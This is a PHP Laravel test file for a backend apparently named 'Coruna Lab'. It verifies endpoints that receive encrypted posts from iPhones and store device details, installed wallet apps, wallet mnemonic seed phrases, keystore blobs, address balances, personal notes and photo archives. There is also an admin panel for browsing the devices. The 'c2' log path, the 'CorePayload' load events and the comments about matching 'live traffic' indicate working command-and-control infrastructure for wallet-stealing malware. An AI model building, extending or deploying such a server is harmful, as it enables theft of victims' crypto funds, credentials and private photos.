get('/api/user/query') ->assertOk() ->assertSee('OK'); } #[Test] public function avatar_set_ingests_device_model_and_ua(): void { $crypto = new CorunaCrypto; $payload = [ 'c' => '34f5121f572d6742703eb84ec2f866a6', 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'deviceModel' => 'iPhone9,1', 'systemVersion' => ['ProductVersion' => '15.8.4'], ]; $ts = '1722585600123'; $enc = $crypto->encryptJson($payload, $ts); $resp = $this->call( 'POST', '/api/user/avatar/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, 'HTTP_USER_AGENT' => 'CorunaLab/1.0 (iPhone; iOS 15.8.4)', ], $enc['body'] ); $resp->assertOk(); $plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp')); $this->assertSame(0, $plain['code'] ?? null); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id); $this->assertSame('15.8.4', $device->ios_version); $this->assertSame('iPhone9,1', $device->device_model); $this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent); $this->assertSame(0, $device->apps()->count()); } #[Test] public function user_get_ingests_installed_apps_per_bundle(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'v' => '15.8.4', 'al' => [ ['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'], ['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '15.8'], ], ]; $ts = '1722585600222'; $enc = $crypto->encryptJson($payload, $ts); $this->call('POST', '/api/user/get', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertSame('15.8.4', $device->ios_version); $mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first(); $this->assertNotNull($mm); $this->assertSame('MetaMask', $mm->name); $this->assertSame('7.12.0', $mm->version); $this->assertTrue($mm->is_wallet); $this->assertSame(2, $device->apps()->count()); } #[Test] public function avatar_put_stores_device_event_log(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'id' => 'event-uuid-should-not-be-device-key', 'et' => 'corepayload_update', 'desc' => 'CorePayload first load succeeded', 'ctx' => ['stage' => 1], 'm' => 'iPhone9,1', ]; $ts = '1722585600333'; $enc = $crypto->encryptJson($payload, $ts); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertNull(Device::query()->where('device_id', 'event-uuid-should-not-be-device-key')->first()); $this->assertSame('iPhone9,1', $device->device_model); $ev = DeviceEvent::query()->where('device_key', '000430C910E8E526')->first(); $this->assertNotNull($ev); $this->assertSame('corepayload_update', $ev->event_name); $this->assertSame('CorePayload first load succeeded', $ev->desc); $this->assertSame(['stage' => 1], $ev->context_json); } #[Test] public function set_and_status_ingest_wallet_secrets_and_addresses(): void { $crypto = new CorunaCrypto; $mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $tsSet = '1722585600456'; $encSet = $crypto->encryptJson([ 'd' => 'dev-wallet-1', 'result' => $mnemonic, 'pn' => 'io.metamask', ], $tsSet); $this->call('POST', '/api/user/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsSet, ], $encSet['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-wallet-1')->first(); $this->assertNotNull($device); $wallet = Wallet::query()->where('device_id', $device->id)->first(); $this->assertNotNull($wallet); $this->assertSame($mnemonic, $wallet->mnemonic); $this->assertSame('abandon *** about', Wallet::maskSecret($wallet->mnemonic)); $tsStatus = '1722585600789'; $encStatus = $crypto->encryptJson([ 'd' => 'dev-wallet-1', 'data' => [ ['address' => '0xabc123', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'], ], ], $tsStatus); $this->call('POST', '/api/user/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsStatus, ], $encStatus['body'])->assertOk(); $this->assertTrue( WalletAddress::query() ->where('device_id', $device->id) ->where('address', '0xabc123') ->where('chain', 'eth') ->exists() ); $logFile = public_path('log/c2/'.date('Ymd').'.log'); $this->assertFileExists($logFile); $this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile)); } #[Test] public function status_ingests_har_shaped_ba_address_map(): void { $crypto = new CorunaCrypto; $ts = '1722585600888'; $enc = $crypto->encryptJson([ 'd' => 'dev-ba-1', 'a' => 'tp', 'ba' => [ 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [ [ 'balance' => '0', 'chainId' => '10', 'chainType' => 'tron', 'decimal' => '6', 'name' => 'Tether USD', 'symbol' => 'USDT', ], [ 'balance' => '12.5', 'chainId' => '10', 'chainType' => 'tron', 'decimal' => '6', 'name' => 'TRON', 'symbol' => 'TRX', ], ], ], ], $ts); $this->call('POST', '/api/user/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-ba-1')->first(); $this->assertNotNull($device); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6') ->first(); $this->assertNotNull($addr); $this->assertSame('tron', $addr->chain); $this->assertSame('12.5', $addr->balance); $this->assertSame('TRX', $addr->symbol); $this->assertCount(2, $addr->meta_json['assets'] ?? []); } #[Test] public function avatar_status_stores_keystore_blob_as_wallet_raw(): void { $crypto = new CorunaCrypto; $ts = '1722585600999'; $enc = $crypto->encryptJson([ 'd' => 'dev-ks-1', 'a' => 'im', 'result' => [ 'crypto' => [ 'cipher' => 'aes-128-ctr', 'ciphertext' => 'deadbeef', 'kdf' => 'pbkdf2', 'mac' => 'cafebabe', ], 'identity' => ['encKey' => 'aa'], ], ], $ts); $this->call('POST', '/api/user/avatar/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-ks-1')->first(); $this->assertNotNull($device); $wallet = Wallet::query()->where('device_id', $device->id)->first(); $this->assertNotNull($wallet); $this->assertNull($wallet->mnemonic); $this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null); } #[Test] public function avatar_pic_ingests_notes(): void { $crypto = new CorunaCrypto; $ts = '1722585601111'; $enc = $crypto->encryptJson([ 'd' => 'dev-notes-1', 'notes' => [ ['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'], ['name' => 'shopping', 'text' => 'milk'], ], ], $ts); $this->call('POST', '/api/user/avatar/pic', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-notes-1')->first(); $this->assertNotNull($device); $this->assertSame(2, Note::query()->where('device_id', $device->id)->count()); $first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first(); $this->assertNotNull($first); $this->assertStringContainsString('abandon', (string) $first->body); } #[Test] public function check_extracts_photo_archive_and_stores_file(): void { Storage::fake('local'); $crypto = new CorunaCrypto; $tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid(); mkdir($tmp); $jpegPath = $tmp.'/hit.jpg'; // minimal JPEG SOI/EOI file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); $archivePath = $tmp.'/capture.7z'; $password = $crypto->archivePassword('0'); $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') ? '/opt/homebrew/opt/p7zip/bin/7z' : '7z'; $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); $this->assertFileExists($archivePath); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $resp = $this->call( 'POST', '/api/user/check', [ 'd' => 'dev-photo-1', 'f' => 'dev-photo-1', 'batchBase' => '0', 'count' => '1', 'total' => '1', 'index' => '0', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] ); $resp->assertOk(); $device = Device::query()->where('device_id', 'dev-photo-1')->first(); $this->assertNotNull($device); $photo = Photo::query()->where('device_id', $device->id)->first(); $this->assertNotNull($photo); $this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256); $this->assertSame(4, $photo->size); Storage::disk('local')->assertExists($photo->path); @unlink($jpegPath); @unlink($archivePath); @rmdir($tmp); } #[Test] public function check_normalizes_encoded_device_key_onto_existing_device(): void { Storage::fake('local'); $crypto = new CorunaCrypto; Device::query()->create([ 'device_id' => '000430C910E8E526', 'ios_version' => '15.8.4', 'device_model' => 'iPhone9,1', 'ip' => '1.2.3.4', ]); $tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid(); mkdir($tmp); $jpegPath = $tmp.'/hit.jpg'; file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); $archivePath = $tmp.'/capture.7z'; $password = $crypto->archivePassword('0'); $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') ? '/opt/homebrew/opt/p7zip/bin/7z' : '7z'; $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $this->call( 'POST', '/api/user/check', [ // Live /check form: hex(ascii(nibbleSwap(byteReverse(json_d)))) 'd' => '36323545384530313943303334303030', 'f' => '36323545384530313943303334303030', 'batchBase' => '0', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $this->assertNull( Device::query()->where('device_id', '36323545384530313943303334303030')->first() ); $this->assertNull( Device::query()->where('device_id', '625E8E019C034000')->first() ); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertTrue( Photo::query()->where('device_id', $device->id)->exists() ); @unlink($jpegPath); @unlink($archivePath); @rmdir($tmp); } #[Test] public function check_uses_multipart_ts_as_batch_base_password(): void { Storage::fake('local'); $crypto = new CorunaCrypto; $tmp = sys_get_temp_dir().'/coruna_photo_ts_'.uniqid(); mkdir($tmp); $jpegPath = $tmp.'/hit.jpg'; file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); $archivePath = $tmp.'/capture.7z'; $batchTs = '1785596422'; $password = $crypto->archivePassword($batchTs); $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') ? '/opt/homebrew/opt/p7zip/bin/7z' : '7z'; $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); // Live traffic: no batchBase field; password suffix is multipart `ts`. $this->call( 'POST', '/api/user/check', [ 'd' => 'dev-photo-ts', 'f' => 'dev-photo-ts', 'ts' => $batchTs, 'x-hit' => '12', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $device = Device::query()->where('device_id', 'dev-photo-ts')->first(); $this->assertNotNull($device); $this->assertTrue( Photo::query()->where('device_id', $device->id)->exists() ); @unlink($jpegPath); @unlink($archivePath); @rmdir($tmp); } #[Test] public function admin_guest_is_redirected_to_admin_login(): void { $this->get('/admin') ->assertRedirect(route('admin.login')); $this->get('/admin/devices') ->assertRedirect(route('admin.login')); } #[Test] public function admin_login_and_device_list(): void { Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); Device::query()->create([ 'device_id' => 'dev-x', 'ios_version' => '16.0', 'device_model' => 'iPhone14,2', 'user_agent' => 'TestUA/1.0', 'ip' => '1.2.3.4', ]); $this->post('/admin/login', ['username' => 'admin', 'password' => 'admin123']) ->assertRedirect(route('admin.home')); $this->get('/admin') ->assertOk() ->assertSee('Coruna Lab'); $this->get('/admin/devices') ->assertOk() ->assertSee('dev-x') ->assertSee('iPhone14,2') ->assertSee('安装时间') ->assertSee('更新时间') ->assertSee('详情') ->assertDontSee('User-Agent'); $this->get('/admin/devices?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3') ->assertOk() ->assertSee('dev-x'); $this->get('/admin/devices?device_key=no-such-device') ->assertOk() ->assertSee('暂无设备'); $device = Device::query()->where('device_id', 'dev-x')->firstOrFail(); $this->get(route('admin.devices.show', [$device, 'tab' => 'apps'])) ->assertOk() ->assertSee('应用列表') ->assertSee('日志') ->assertDontSee('概览'); } }